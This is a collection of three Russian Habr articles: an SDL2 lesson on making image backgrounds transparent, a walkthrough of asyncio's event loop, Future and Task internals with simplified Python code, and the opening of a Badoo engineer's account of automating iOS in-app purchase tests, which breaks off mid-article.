# Уроки по SDL 2: Урок 8 — прозрачный фон
Дисклеймер: почему собрался это делать - потому что нет нигде нормального обучения, для С\С++, поэтому все бросают это дело, так как невозможно разобраться, просто ужас.
**Смысл прозрачного фона для изображения кратко:**
SDL дает возможность через SDL\_SetColorKey убрать фон у картинки, оставив только нужное нам изображение.
Код, поехали:
```
#include
int main(void)
{
SDL\_Window\* window; //объявление переменной окно
SDL\_Renderer\* gRenderer; //объявление рендерной переменной.
SDL\_Surface \*backgroundImage; //объявление слоев
SDL\_Surface \*humanImage;
SDL\_Texture \*backGroundTex; //объявление текстуры
SDL\_Texture \*humanTex;
SDL\_Init(SDL\_INIT\_VIDEO); //яобъявление видео
window = SDL\_CreateWindow( "transparentImage", 0,0,640,480,SDL\_WINDOW\_OPENGL); //создание окна
gRenderer = SDL\_CreateRenderer(window, -1, 0); //привязка рендера к окну
SDL\_SetRenderDrawColor(gRenderer, 0, 0, 50, 255); //установка цвета red green blue bright
SDL\_RenderClear(gRenderer);//очистка экрана
SDL\_RenderPresent(gRenderer);//обновление экрана
SDL\_Delay(1000); //передышка 1 секунду
backgroundImage = SDL\_LoadBMP("hw.bmp");//подгрузка изображения
humanImage = SDL\_LoadBMP("foo.bmp");
SDL\_SetColorKey( humanImage, SDL\_TRUE, SDL\_MapRGB( humanImage->format, 0, 0xFF, 0xFF ) ); //создание прозрачного изображения
backGroundTex = SDL\_CreateTextureFromSurface(gRenderer,backgroundImage); //создание текстуры
SDL\_RenderCopy(gRenderer,backGroundTex,NULL,NULL); //копирование текстуры в рендер
SDL\_RenderPresent(gRenderer);
SDL\_Delay(1000);
humanTex = SDL\_CreateTextureFromSurface(gRenderer,humanImage);
/\*уменьшение изображения\*/
SDL\_Rect topLeftViewport;
topLeftViewport.x = 220;
topLeftViewport.y = 220;
topLeftViewport.h = 300;
topLeftViewport.w = 250;
SDL\_RenderSetViewport( gRenderer,&topLeftViewport);
SDL\_RenderCopy(gRenderer, humanTex,NULL,NULL);
SDL\_RenderPresent(gRenderer);
SDL\_Delay(3000);
SDL\_DestroyWindow(window); //уничтожение окна
SDL\_Quit(); //выход
return 0;
}
```
[Ссылка на изображения](https://www.dropbox.com/sh/63no8x0jtx08e26/AACJb8EBfmfmHc2fkcue2mBFa?dl=0)
[← Предыдущий урок](https://habr.com/ru/users/LLEMOON/posts/) | https://habr.com/ru/post/579526/ | null | ru | null |
# Что внутри asyncio
В этой статье я предлагаю читателю совершить со мной в меру увлекательное путешествие в недра ***asyncio***, чтобы разобраться, как в ней реализовано асинхронное выполнение кода. Мы оседлаем коллбэки и промчимся по циклу событий сквозь пару ключевых абстракций прямо в корутину. Если на вашей карте питона еще нет этих достопримечательностей, добро пожаловать под кат.
Для затравки — краткая справка о раскинувшейся перед нами местности
-------------------------------------------------------------------
***asyncio*** — библиотека асинхронного ввода/вывода которая, согласно [pep3153](https://www.python.org/dev/peps/pep-3153/#abstract), была создана, чтобы предоставить стандартизованную базу для создания асинхронных фреймворков. [pep3156](https://www.python.org/dev/peps/pep-3156/#id6) так же приписывает ей необходимость обеспечить предельно простую интеграцию в уже существовавшие асинхронные фреймворки (Twisted, Tornado, Gevent). Как мы можем сейчас наблюдать, эти цели были успешно достигнуты — появился новый фреймворк на основе asyncio: [aiohttp](https://github.com/aio-libs/aiohttp), в Tornado [AsyncioMainLoop](https://www.tornadoweb.org/en/stable/asyncio.html) является циклом событий по умолчанию с версии 5.0, в Twisted [asyncioreactor](https://twistedmatrix.com/documents/19.2.0/api/twisted.internet.asyncioreactor.html) доступен с версии 16.5.0, а для Gevent есть сторонняя библиотека aiogevent.
***asyncio*** — это гибридная библиотека, использующая одновременно два подхода к реализации асинхронного выполнения кода: классический на коллбэках и, относительно новый, (по крайней мере для питона) на корутинах. В её основе лежат три основные абстракции, являющиеся аналогами абстракций, существующих в сторонних фреймворках:
* **Pluggable Event Loop**
Подключаемый цикл событий. Подключаемый значит, что он может быть в две строчки кода заменен на другой, реализующий такой же интерфейс. Сейчас есть реализации на cython поверх libuv ([uvloop](https://uvloop.readthedocs.io/)) ~~и на языке Rust ([asyncio-tokio](https://github.com/PyO3/tokio))~~.
* **Future**
Результат операции, который будет доступен в будущем. Нужен, чтобы получать в корутинах результат выполнения коллбэков.
* **Task**
Специальный подкласс класса Future для запуска корутин на цикле событий.
Поехали!
--------
Цикл событий — основная составляющая библиотеки, по дорогам, пролегающим через него, данные доставляются в любые её компоненты. Он большой и сложный, поэтому сначала рассмотрим его урезанный вариант.
```
# ~/inside_asyncio/base_loop.py
import collections
import random
class Loop:
def __init__(self):
# Очередь для хранения коллбэков
self.ready = collections.deque()
def call_soon(self, callback, *args):
# складывает кортэж из коллбэка и его аргументов в очередь
self.ready.append((callback, args))
def run_until_complete(self, callback, *args):
# Этот метод выполняет всё работу по запуску коллбэков
self.call_soon(callback, *args)
# Перекресток вех дорог - основной цикл
# он крутится пока очередь не опустеет
while self.ready:
ntodo = len(self.ready)
# внутренний цикл итерируется столько раз
# сколько было коллбэков в очереди на момент его запуска
for _ in range(ntodo):
# на каждой интерации достаёт из очереди
# один коллбэк и его параметры и запускает
callback, args = self.ready.popleft()
callback(*args)
def callback(loop):
print('Рассказчик')
loop.call_soon(print, 'Читатель')
loop = Loop()
loop.run_until_complete(callback, loop)
```
Оседлав наш маленький коллбэк, мы отправляемся в путь через **call\_soon**, попадаем в очередь и после краткого ожидания будем выведены на экран.
#### Эпизод про плохие коллбэки
Стоит упомянуть, что коллбэки это опасные лошадки — если они сбросят вас посреди дороги, интерпретатор питона не сможет помочь понять, где это произошло. Если не верите, покатайтесь той же дорогой на коллбэке **maybe\_print**, приходящем к финишу примерно в половине случаев.
```
# ~/inside_asyncio/base_loop.py
def maybe_print(msg):
if random.randint(0, 1):
raise Exception(msg)
else:
print(msg)
def starting_point(loop): # Место посадки
print('Рассказчик')
loop.call_soon(maybe_print, 'Читатель')
def main(loop):
loop.call_soon(starting_point, loop)
loop.call_soon(starting_point, loop)
loop = Loop()
loop.run_until_complete(main, loop)
```
Ниже показан полный трейсбэк запуска предыдущего примера. Из-за того, что функция **maybe\_print** была запущена циклом событий, а не напрямую из **starting\_point**, трейсбэк заканчивается именно на нём, в методе **run\_until\_complete**. По такому трейсбэку невозможно определить, где в коде находится **starting\_point**, что значительно усложнит отладку, если **starting\_point** будут находиться в нескольких местах кодовой базы.
```
$: python3 base_loop.py
>> Рассказчик # Доехал первый раз
>> Читатель # Доехал первый раз
>> Рассказчик # Доехал второй раз
>> Traceback (most recent call last):
>> File "base_loop.py", line 42, in
>> loop.run\_until\_complete(main, loop)
>> File "base\_loop.py", line 17, in run\_until\_complete
>> callback(\*args)
>> File "base\_loop.py", line 29, in maybe\_print
>> raise Exception(msg)
>> Exception: Читаель # не доехал второй раз
```
Непрерывный стек вызовов нужен не только для вывода полного трейсбэка, но и для реализации других возможностей языка. Например, на нём основана обработка исключений. Пример ниже не заработает, потому что к моменту запуска **starting\_point**, функция **main** уже будет выполнена:
```
# ~/inside_asyncio/base_loop.py
def main(loop):
try:
loop.call_soon(starting_point, loop)
loop.call_soon(starting_point, loop)
except:
pass
Loop().run_until_complete(main, loop)
```
Следующий пример тоже не заработает. Менеджер контекста в функции **main** откроет и закроет файл ещё до того, как будет запущена его обработка.
```
# ~/inside_asyncio/base_loop.py
def main(loop):
with open('file.txt', 'rb') as f:
loop.call_soon(process_file, f)
Loop().run_until_complete(main, loop)
# тут аналогия с путешествием достигла моего лимита, дальше без неё =(
```
Отсутствие непрерывного стека вызовов ограничивает использование привычных возможностей языка. Для частичного обхода этого недостатка в asyncio пришлось добавить много дополнительного кода, не относящeгося напрямую к решаемой ей задаче. Этот код, по большей части, отсутствует в примерах — они и без него довольно сложны.
#### Из цикла событий во внешний мир и обратно
Цикл событий сообщается с внешним миром через операционную систему посредством событий. Код, который умеет с ней работать, предоставляется модулем стандартной библиотеки под названием **selectors**. Он позволяет сказать операционной системе, что мы ждем какого-то события, а потом спросить, произошло ли оно. В примере ниже ожидаемым событием будет доступность сокета на чтение.
**Цикл событий**
```
# ~/inside_asyncio/event_loop.py
import selectors
import socket
import collections
from future import Future
from handle import Handle
from task import Task
class EventLoop:
def __init__(self):
self.ready = collections.deque()
# Добавляем селектор
self.selector = selectors.DefaultSelector()
def add_reader(self, sock, callback):
# Регистрируем ожидание доступности сокета на чтение
# параметры:
# сокет,
# константа содержащая битовую маску доступности сокета на чтение
# кортеж с данными которые мы хотим ассоциировать с этим событием
self.selector.register(
sock, socket.EVENT_READ, (self._accept_conn, sock, callback)
)
def _accept_conn(self, sock, callback):
# принимаем входящее соединение
conn, addr = sock.accept()
conn.setblocking(False)
# регистрируем ожидание данных на сокете
self.selector.register(
conn, socket.EVENT_READ, (callback, conn)
)
def run_until_complete(self, callback, *args):
self.call_soon(callback, *args)
# основной цикл крутится пока очередь не пустая или мы ожидаем каких-то событий
while self.ready or self.selector.get_map():
ntodo = len(self._ready)
for _ in range(ntodo):
callback, args = self.ready.popleft()
callback(*args)
# второй подцикл итерируется по наступившим событиям
for key, events in self.selector.select(timeout=0):
# достает коллбэк и аргументы из кортежа с ассоциированными данными
callback, *args = key.data
# добавляет их в очередь на выполнение
self.call_soon(callback, *args)
def call_soon(self, callback, *args):
self.ready.append((callback, args))
def print_data(conn):
print(conn.recv(1000))
def main(loop):
# создаём сокет
sock = socket.socket()
# привязываем к локалхосту на 8086 порту
sock.bind(('localhost', 8086))
sock.listen(100)
sock.setblocking(False)
# добавляем коллбэк для чтения данных
loop.add_reader(sock, print_data)
loop = EventLoop()
# запускаем цикл событий
loop.run_until_complete(main, loop)
```
Гонец из внешнего мира оставляет своё сообщение или посылку в селекторе, а селектор передаёт её получателю. Теперь стало возможным читать из сокета, используя цикл событий. Если запустить этот код и подключиться с помощью netcat, то он будет добросовестно выводить всё, что в него будет отправлено.
```
$: nc localhost 8086 $: python3 event_loop.py
"Hi there!" b'"Hi there!"\n'
"Hello!" b'"Hello!"\n'
"Answer me, please!" b'"Answer me, please!"\n'
```
В начале статьи говорилось, что asyncio — гибридная библиотека, в которой корутины работают поверх коллбэков. Для реализации этой функциональности используются две оставшиеся основные абстракции: **Task** и **Future**. Далее будет показан код этих абстракций, а затем, как, используя их цикл событий, выполняются корутины.
#### Future
Ниже представлен код класса Future. Он нужен для того, чтобы в корутине можно было дождаться завершения выполнения коллбэка и получить его результат.
**Future**
```
# ~/inside_asyncio/future.py
import sys
from asyncio import events, CancelledError
class Future:
# хранит состояние коллбэка результат выполнения которого представляет
_state = 'PENDING' # FINISHED, CANCELLED
# стек вызовов до того места где был создан экземпляр Future
# нужен чтобы в случае возникновения исключения вывести понятный трейсбэк
_source_traceback = None
# список коллбэков которые должны быть вызваны когда изменится состояние ожидаемого коллбэка
_callbacks = []
# исключение если оно было возбуждено во время выполения ожидаемого коллбэка
_exception = None
# цикл событий чтобы знать где запускать коллбэки на смену состояния
_loop = None
# результат выполнения ожидаемого коллбэка
_result = None
def __init__(self, loop):
self._loop = loop
self._source_traceback = events.extract_stack(sys._getframe(1))
def add_done_callback(self, callback):
# добавляет коллбэки на смену состояния в список
self._callbacks.append(callback)
def _schedule_callbacks(self):
# запускает коллбэки на смену состояния на цикле событий
for callback in self._callbacks:
self._loop.call_soon(callback, self)
self._callbacks[:] = []
# Один из следующих трёх методов должен быть вызван для изменения состояния Future
# когда ожидаемый коллбэк каким-либо образом завершит свое выполнение
def set_exception(self, exception):
# в случае возникновения исключения сохраняем его
self._exception = exception
# меняем состояние
self._state = 'FINISHED'
# запускаем коллбэки на смену состояния
self._schedule_callbacks()
def set_result(self, result):
# если ожидаемый коллбэк завершился успешно сохраняем результат выполнения
self._result = result
self._state = 'FINISHED'
self._schedule_callbacks()
def cancel(self):
# в случае отмены просто меняем состояние
self._state = 'CANCELLED'
self._schedule_callbacks()
def result(self):
# метод для получения результат
# возбуждает исключение если ожидание завершения коллбэка было отменено
if self._state == 'CANCELLED':
raise CancelledError
# или оно возникло во время выполнения ожидаемого коллбэка
if self._exception is not None:
raise self._exception
# иначе возвращает результат
return self._result
def __await__(self):
# магический метод, вызывается ключевым словом await
# если находимся в состоянии ожидания йилдим себя
if self._state == 'PENDING':
yield self
# иначе пытаемся вернуть результат
return self.result()
```
#### Task
Это специальный подкласс класса **Future**. Он нужен для запуска корутины на коллбэчном цикле событий.
**Task**
```
# ~/inside_asyncio/task.py
from asyncio import futures
from future import Future
class Task(Future):
def __init__(self, coro, *, loop=None):
super().__init__(loop=loop)
# сохраняет выполняемую корутину
self._coro = coro
def _step(self, exc=None):
# метод вызываемы циклом событий, нужен чтобы крутить корутину
try:
if exc is None:
# если не получено исключение отправляем в корутину None
# что заставляет её прокрутится на один шаг
result = self._coro.send(None)
else:
# если получено исключение возбуждаем его в корутине
self._coro.throw(exc)
except StopIteration:
result = None
except Exception as exc:
self.set_exception(exc)
else:
# если получили Future из корутины добавляем ей метод
# wakeup как коллбэк на смену состояния
if isinstance(result, Future):
result.add_done_callback(self._wakeup)
# иначе шедулим вызов метода step циклом событий еще раз
elif result is None:
self._loop.call_soon(self._step)
def _wakeup(self, future):
# метод с помощью которого Future возвращает поток выполнения в ожидающую её Task
# с исключением
try:
future.result()
except Exception as exc:
self._step(exc)
# или без в зависимости от успешности завершения Future
else:
self._step()
```
#### Цикл событий, умеющий работать с Future
**EventLoop with Futures**
```
# ~/inside_asyncio/future_event_loop.py
import selectors
from selectors import EVENT_READ, EVENT_WRITE
import socket
import collections
from future import Future
from task import Task
class EventLoop:
def __init__(self):
self._ready = collections.deque()
self.selector = selectors.DefaultSelector()
def run_until_complete(self, callback, *args):
self.call_soon(callback, *args)
while self._ready or self.selector.get_map():
ntodo = len(self._ready)
for _ in range(ntodo):
callback, args = self._ready.popleft()
callback(*args)
for key, events in self.selector.select(timeout=0):
callback, *args = key.data
self.call_soon(callback, *args)
def call_soon(self, callback, *args):
self._ready.append((callback, args))
# Два метода умеющих работать с Future
def sock_accept(self, sock, fut=None):
# метод принимающий входящее соединение на сокете
# создаёт Future если не получил её
fut = fut if fut else Future(loop=self)
try:
# пытается принять входящее соединение
conn, address = sock.accept()
conn.setblocking(False)
except (BlockingIOError, InterruptedError):
# если входящего соединия нет
# регистрирует сам себя на ожидание
# передав свежесозданную Future в качестве параметра
self.selector.register(
sock, EVENT_READ, (self.sock_accept, sock, fut)
)
except Exception as exc:
fut.set_exception(exc)
self.selector.unregister(sock)
else:
# если соединение установлено
# вызывает метод Future для сохранения результата
fut.set_result((conn, address))
self.selector.unregister(sock)
return fut
def sock_recv(self, sock, n, fut=None):
# метод для получения данных из сокета
# практичесски идентичен предыдущему за тем исключением,
# что пытается не принять соединение, а получить данные из сокета
fut = fut if fut else Future(loop=self)
try:
data = sock.recv(n)
except (BlockingIOError, InterruptedError):
self.selector.register(
sock, EVENT_READ, (self.sock_recv, sock, n, fut)
)
except Exception as exc:
fut.set_exception(exc)
self.selector.unregister(sock)
else:
fut.set_result(data)
self.selector.unregister(sock)
return fut
async def main(loop):
sock = socket.socket()
sock.bind(('localhost', 8080))
sock.listen(100)
sock.setblocking(False)
# ожидаем входящего соединения
conn, addr = await loop.sock_accept(sock)
# получаем из него данные
result = await loop.sock_recv(conn, 1000)
print(result)
loop = EventLoop()
# заворачиваем корутину в Task
task = Task(coro=main(loop), loop=loop)
# шедулим метод степ для запуска на цикле событий
loop.run_until_complete(task._step)
```
#### Двинемся дальше
Теперь проследим за тем, как корутина **main** будет выполняться:
**Выполнение**
```
__________________________________________________________________
class EventLoop:
def run_until_complete(self, callback, *args):
# task._step добавляется в очередь
self.call_soon(callback, *args)
while self._ready or self.selector.get_map():
ntodo = len(self._ready)
for _ in range(ntodo):
callback, args = self._ready.popleft()
# и практически сразу вызывается
callback(*args) # task._step()
___________________________________________________________________
clsss Task:
def _step(self, exc=None):
try:
if exc is None:
# отправляет None в корутину
result = self._coro.send(None)
else:
___________________________________________________________________
async def main(loop):
# корутина прокручивается на один шаг
# создаётся сокет
sock = socket.socket()
sock.bind(('localhost', 8080))
sock.listen(100)
sock.setblocking(False)
# вызывается метод цикла событий для ожидания входящего соединения
conn, addr = await loop.sock_accept(sock)
result = await loop.sock_recv(conn, 1000)
print(result)
___________________________________________________________________
class EventLoop:
def sock_accept(self, sock, fut=None):
# создаёт экземпляр Future
fut = fut if fut else Future(loop=self)
try:
# пытается принять входящее соединение
conn, address = sock.accept()
conn.setblocking(False)
except (BlockingIOError, InterruptedError):
# так как соединения нет
# регистрирует сам себя на ожидание
# передав свежесозданную Future в качестве параметра
self.selector.register(
sock, EVENT_READ, (self.sock_accept, sock, fut)
)
except Exception as exc:
--------------------------------------------
self.selector.unregister(sock)
# возвращает Future в корутину
return fut
___________________________________________________________________
async def main(loop):
sock = socket.socket()
sock.bind(('localhost', 8080))
sock.listen(100)
sock.setblocking(False)
# ключевое слово await вызывает метод __await__ полученной Future
conn, addr = await loop.sock_accept(sock)
result = await loop.sock_recv(conn, 1000)
print(result)
___________________________________________________________________
class Future:
def __await__(self):
# так как Future находится в состоянии ожидания она йилдит саму себя
if self._state == 'PENDING':
yield self
return self.result()
___________________________________________________________________
class Task(Future):
def _step(self, exc=None):
try:
if exc is None:
# результат йилда пробрасывается напрямую в то место откуда ворутину пришел None
result = self._coro.send(None) # result = fut
--------------------------------
else:
# получили Future из корутины добавляем ей метод
# wakeup как коллбэк на смену состояния
if isinstance(result, Future):
result.add_done_callback(self._wakeup)
elif result is None:
self._loop.call_soon(self._step)
# тут выполнение данной корутины останавливается - крутящие её эксземпляры Task и Future
# ждут входящего соединения
# если бы в очереди были другие коллбэки цикл событий бы переключился на их выполнение
___________________________________________________________________
class EventLoop:
def run_until_complete(self, callback, *args):
self.call_soon(callback, *args)
while self._ready or self.selector.get_map():
ntodo = len(self._ready)
for _ in range(ntodo):
callback, args = self._ready.popleft()
callback(*args)
for key, events in self.selector.select(timeout=0):
# пришло входящее соединение
callback, *args = key.data
self.call_soon(callback, *args) # loop.sock_accept(sock, fut)
___________________________________________________________________
class EventLoop:
def sock_accept(self, sock, fut=None):
fut = fut if fut else Future(loop=self)
try:
# принимаем входящее соединение
conn, address = sock.accept()
conn.setblocking(False)
except (BlockingIOError, InterruptedError):
--------------------------------
else:
# устанавливаем результат Future
fut.set_result((conn, address))
self.selector.unregister(sock)
return fut
___________________________________________________________________
class Future:
def set_result(self, result):
# устанавливает результат
self._result = result
# меняет состояние
self._state = 'FINISHED'
# вызывает коллбэки на смену состояния
self._schedule_callbacks()
def _schedule_callbacks(self):
for callback in self._callbacks:
# у нас только один коллбэк на смену состояния task.wakeup
self._loop.call_soon(callback, self) # (task.wakeup, fut)
self._callbacks[:] = []
___________________________________________________________________
class EventLoop:
def run_until_complete(self, callback, *args):
self.call_soon(callback, *args)
while self._ready or self.selector.get_map():
ntodo = len(self._ready)
for _ in range(ntodo):
callback, args = self._ready.popleft()
# на следующей итерации главного цикла
# будет вызван метод task.wakeup
callback(*args) # task.wakeup(fut)
___________________________________________________________________
class Task(Future):
def _wakeup(self, future):
try:
future.result()
except Exception as exc:
self._step(exc)
else:
# так как Future завершилась успешно он вызовет метод task._step
self._step()
def _step(self, exc=None):
try:
if exc is None:
# который отправит в корутину ещё один None
result = self._coro.send(None)
else:
___________________________________________________________________
async def main(loop):
sock = socket.socket()
sock.bind(('localhost', 8080))
sock.listen(100)
sock.setblocking(False)
# ключевое слово await вызывает метод __awai__ второй раз
conn, addr = await loop.sock_accept(sock)
result = await loop.sock_recv(conn, 1000)
print(result)
___________________________________________________________________
class Future:
def __await__(self):
if self._state == 'PENDING':
yield self
# так как Future завершена возвращаем результат
return self.result()
___________________________________________________________________
async def main(loop):
sock = socket.socket()
sock.bind(('localhost', 8080))
sock.listen(100)
sock.setblocking(False)
# результат возвращенный из Future помещается в переменные conn и addr
conn, addr = await loop.sock_accept(sock)
result = await loop.sock_recv(conn, 1000)
print(result)
```
Вот таким нехитрым способом asyncio выполняет корутины.
#### Итоги
Цель создания asyncio была успешно достигнута. Она не только решила проблему совместимости, но и вызвала огромный рост интереса к конкурентному программированию в сообществе. Новые статьи и библиотеки начали появляться, словно грибы после дождя. Кроме того, asyncio повлияла и на сам язык: в него были добавлены нативные корутины и новые ключевые слова **async**/**await**. В предыдущий раз новое ключевое слово добавлялось в далеком 2003 году, это было ключевое слово **yield**.
Один из целей создания asyncio было обеспечить предельно простую интеграцию в уже существовавшие асинхронные фреймворки (Twisted, Tornado, Gevent). Из этой цели логически вытекает выбор инструментов: если бы не было требования совместимости, возможно, корутинам была бы отдана главная роль. Из-за того, что при программировании на коллбэках невозможно сохранить непрерывный стэк вызовов, на границе между ними и корутинами пришлось создать дополнительную систему, обеспечивающую поддержку опирающихся на него возможностей языка.
Теперь главный вопрос. Зачем всё это знать простому пользователю библиотеки, который следует рекомендациям из документации и использует лишь корутины и высокоуровневый API?
Вот кусок документации класса StreamWriter
Его экземпляр возвращается функцией **asyncio.open\_connection** и является **async**/**await** API поверх API на коллбэках. И эти коллбэки из него торчат. Функции **write** и **writelines** синхронные, они пытаются писать в сокет, а если не получается, то сбрасывают данные в нижележащий буфер и добавляют коллбэки на запись. Корутина **drain** нужна для того, чтобы обеспечить возможность дождаться, пока количество данных в буфере не опустится до заданного значения.
Если забыть вызвать **drain** между вызовами **write**, то внутренний буфер может разрастись до неприличных размеров. Однако, если помнить об этом, то остается пара неприятных моментов. Первый: если коллбэк на запись «сломается», то корутина, использующая этот API никак об этом не узнает и, соответственно, не сможет обработать. Второй: если корутина «сломается», то коллбэк на запись никак об этом не узнает и продолжит писать данные из буфера.
Таким образом, даже используя только корутины, будьте готовы к тому, что коллбэки напомнят о себе.
О том, как работать с базами данных из асинхронного кода, вы можете прочитать в [этой статье](http://blog.antidasoftware.com/2019/02/python-async-sql-database.html) нашего [корпоративного блога Antida software](http://blog.antidasoftware.com).
P.S. Спасибо за информацию об опечатках и неточностях пользователям [eirnym](https://habr.com/ru/users/eirnym/), [kurb](https://habr.com/ru/users/kurb/), [rasswet](https://habr.com/ru/users/rasswet/) | https://habr.com/ru/post/453348/ | null | ru | null |
# Автоматизация тестирования платных сервисов на iOS
Для тех, кто интересуется темой автоматизации на iOS, у меня две новости — хорошая и плохая. Хорошая: в iOS-приложении для платных сервисов используется только одна точка интеграции — in-app purchases ([встроенные в приложение покупки](https://developer.apple.com/in-app-purchase/)). Плохая: Apple не предоставляет никаких инструментов для автоматизации тестирования покупок.
В этой статье я предлагаю вам вместе со мной поискать универсальный метод автоматизации по ту сторону добра и зла Apple. Статья будет полезна всем, кто интегрирует в свои приложения сторонние сервисы, представляющие собой «чёрный ящик»: рекламу, стриминг, управление локацией и др. Обычно такие интеграции очень сложно тестировать, так как отсутствует возможность гибкой настройки стороннего сервиса для тестирования приложения.
*Меня зовут Виктор Короневич, я Senior Test Automation Engineer в Badoo. Занимаюсь мобильной автоматизацией более десяти лет. Вместе с моим коллегой Владимиром Солодовым мы выступали с этим [докладом](https://youtu.be/PWxE0KZLU8Q) на конференции Heisenbug. Он также помог мне в подготовке этого текста.*
В предыдущей [статье](https://habr.com/ru/company/badoo/blog/459650/) мы описали, какие методы используются в Badoo для тестированиия интеграций с платёжными провайдерами, которых у нас более 70. В этом материале мы подробнее расскажем о том, как нам удалось добиться стабильной и недорогой автоматизации тестирования платных сервисов в iOS-приложении.
Давайте начнём с общего описания нашего исследования:
1. Определение проблемы
2. Постановка задачи
3. Решение №1. Песочница Apple
4. Решение №2. Метод мока функций и использование фейк-объекта
5. Оценка решения: основные риски
6. Результат
7. Заключение
Определение проблемы
--------------------
Автоматизацию нужно делать тогда, когда в этом возникает естественная потребность. Когда этот момент наступил у нас?
В приложении Badoo много бесплатных фич, но платные дают пользователю больше возможностей. Получают их двумя способами: за кредиты — внутреннюю валюту Badoo — или купив премиум-подписку. За определённое количество кредитов можно поднять свой профайл в результатах поиска на первое место, сделать подарок другому пользователю и прочее. Премиум-подписка действует определённый период времени и даёт сразу несколько возможностей: включить режим невидимки, видеть людей, проявивших к тебе симпатию, отменить результат своего голосования и другие.
Эти возможности появлялись в Badoo постепенно. И пару лет назад мы тестировали платные сервисы в iOS-приложениях только вручную. Но по мере появления фич и новых экранов ручное тестирование занимало всё больше времени. Требования об изменениях работы приложения приходили с разных сторон: от разработчиков клиентской части, разработчиков серверной части и даже самого Apple-провайдера. У одного тестировщика одна итерация тестирования начала занимать около восьми часов. Получить быстрый фидбек для разработчика на своей ветке в течение 30 минут стало невозможным, что в конечном итоге могло негативно отразиться на конкурентоспособности продукта.
Мы захотели получать результаты тестирования как можно быстрее. И столкнулись с проблемой: как недорого организовать регрессионное тестирование платных сервисов в наших iOS-приложениях, чтобы получать быстрые и стабильные результаты?
Постановка задачи
-----------------
Итак, с учётом специфики нашего процесса доставки конечного продукта и размера команды мы хотим:
* тестировать любые покупки внутри клиентского приложения (одноразовые платежи и подписки);
* повторять итерации тестирования 10–20 раз в день;
* получать результаты тестирования ~150 тестовых сценариев менее чем за полчаса;
* избавиться от шумов;
* иметь возможность прогонять тесты на конкретной ветке кода разработчика независимо от результатов других прогонов.
Теперь, когда мы сформулировали задачу, пора начать путешествие в прекрасный мир инженеров и их решений.
Решение №1. Песочница Apple
---------------------------
В первую очередь мы начали искать информацию об организации автоматического тестирования платных сервисов в документации Apple. И ничего не нашли. Поддержка автоматизации выглядит очень скудной. Если что-то и появляется, то настройка автоматизации предлагаемыми инструментами вызывает сложности (давайте вспомним хотя бы [UIAutomation](https://download.developer.apple.com/wwdc_2010/wwdc_2010_video_assets__pdfs/306__automating_user_interface_testing_with_instruments.pdf), а также время, когда появилась первая утилита [xcrun simctl](https://developer.apple.com/videos/play/wwdc2019/418/) для iOS Simulator) и приходится искать инженерные решения в том числе в open-source-сегменте.
В документации Apple для тестирования платных сервисов можно найти лишь [Apple Sandbox](https://developer.apple.com/apple-pay/sandbox-testing/). Было непонятно, как эту песочницу прикрутить к автоматизации, но мы решили серьёзно исследовать это решение. Уверенности придавало то, что у Android песочница была стабильной и к тому времени мы уже успешно написали тесты на Android. Может быть, и песочница Apple окажется такой же хорошей?
Но когда мы реализовывали автотесты с использованием этой песочницы, мы хлебнули сполна. Давайте быстро пробежимся по основным проблемам.
### 1. Пул тестовых пользователей
Основным ограничением для автоматизации стали особенности содержания в пуле тестовых пользователей, которые должны обеспечивать независимость запуска автотестов.
Для запуска всего одного автотеста покупки подписки нам нужно:
1. взять нового пользователя для авторизации в песочнице;
2. изменить на симуляторе текущий привязанный Apple ID;
3. залогиниться в приложении Badoo пользователем Badoo;
4. дойти до скрина покупки подписки и выбрать продукт;
5. подтвердить покупку и авторизоваться через Apple ID;
6. убедиться, что покупка прошла успешно;
7. отправить на очистку пользователя Badoo;
8. очистить пользователя песочницы от подписок.
Если попытаться сразу использовать этого же пользователя в следующем тесте, то купить вторую подписку будет невозможно. Нужно подождать, пока первая подписка «протухнет», или отписаться в настройках. Как мы говорили в первой [статье](https://habr.com/ru/company/badoo/blog/459650/), в песочнице есть определённое время действия подписки. Если купить подписку «на месяц», то придётся ждать пять минут для её автоматического закрытия. Сам процесс отписки тоже происходит небыстро.
Соответственно, для нового прогона того же теста нам нужно будет или подождать, пока подписка закончится, или взять другого, «чистого», пользователя. Если мы хотим запустить два теста одновременно независимо друг от друга, то нужно, чтобы в пуле было как минимум два пользователя песочницы. Таким образом, для запуска 100 автотестов параллельно в 100 потоков нам нужно 100 разных пользователей.
А теперь давайте представим, что мы делаем прогон автотестов на двух агентах, каждый из которых может запускать их в 100 потоков. В этом случае нам нужно уже как минимум 200 пользователей!
### 2. «Плохие» нотификации
Ну ладно, чем чёрт не шутит! Мы организовали пул пользователей и начали смотреть, как бегают тесты. Они падали по дороге, но большинство — по новым, неизвестным для нас, причинам. Мы начали разбираться и поняли, что при авторизации, подтверждении покупки и работе пользователем в песочнице App Store присылает алерты: например, просит ввести заново имя и пароль, подтвердить авторизацию нажатием на кнопку «ОК», выдаёт информацию о внутренней ошибке с кнопкой «ОК». Иногда они появляются, иногда — нет. И если появляются, то всегда в разном порядке.
Как это возможно, что подозрительная ошибка просто игнорируется в автотесте? А если прилетит реальная ошибка, то что делать? Эта область автоматически становилась для нас «слепой зоной», и нам пришлось писать специальные обработчики для всех возможных алертов, которые могут прилететь от App Store.
Всё это делало тесты очеееееень медленными:
* алерты могли прилететь на разных шагах тестового сценария, разрушая основную идею теста — Predictable Test Scenario; нам приходилось дописывать обработчик ошибок, ожидавший появления возможной серии известных игнорируемых алертов;
* иногда прилетали новые вариации алертов или происходили другие ошибки, поэтому мы вынуждены были перезапускать упавшие тесты; это увеличивало время прогона всех тестов.
### 3. А был ли тест?
Итак, пользователи в пуле блокируются, потом очищаются в течение n минут. Мы гоняем тесты в 120 потоков, и пользователей в пуле уже довольно много, но этого недостаточно. Мы сделали нашу систему менеджмента пользователей, сделали обработчик алертов — и тут случилось ЭТО. Песочница стала недоступной на пару дней для любого тестового пользователя.
Этого никто не ожидал. И это была последняя капля в чаше нашего терпения, которая окончательно убила любовь к песочнице Apple и заставила нас встать на путь по ту сторону добра и зла. Мы поняли, что нам не нужна такая автоматизация и что мы не хотим больше мучаться с этим опасным решением.
Решение №2. Метод мока функций и использование фейк-объекта
-----------------------------------------------------------
Итак, мы хлебнули проблем с автоматизацией в песочнице Apple. Но не думайте, что в мобильном мире всё совсем плохо. На Android песочница намного стабильнее — там можно гонять автотесты.
Давайте попробуем найти другое решение для iOS. Но как искать? Куда смотреть? Заглянем в историю тестирования и разработки ПО: что было до безумного мира Apple? что говорят люди, которые написали кучу книжек и заслужили авторитет в мире автоматизации и разработки ПО?
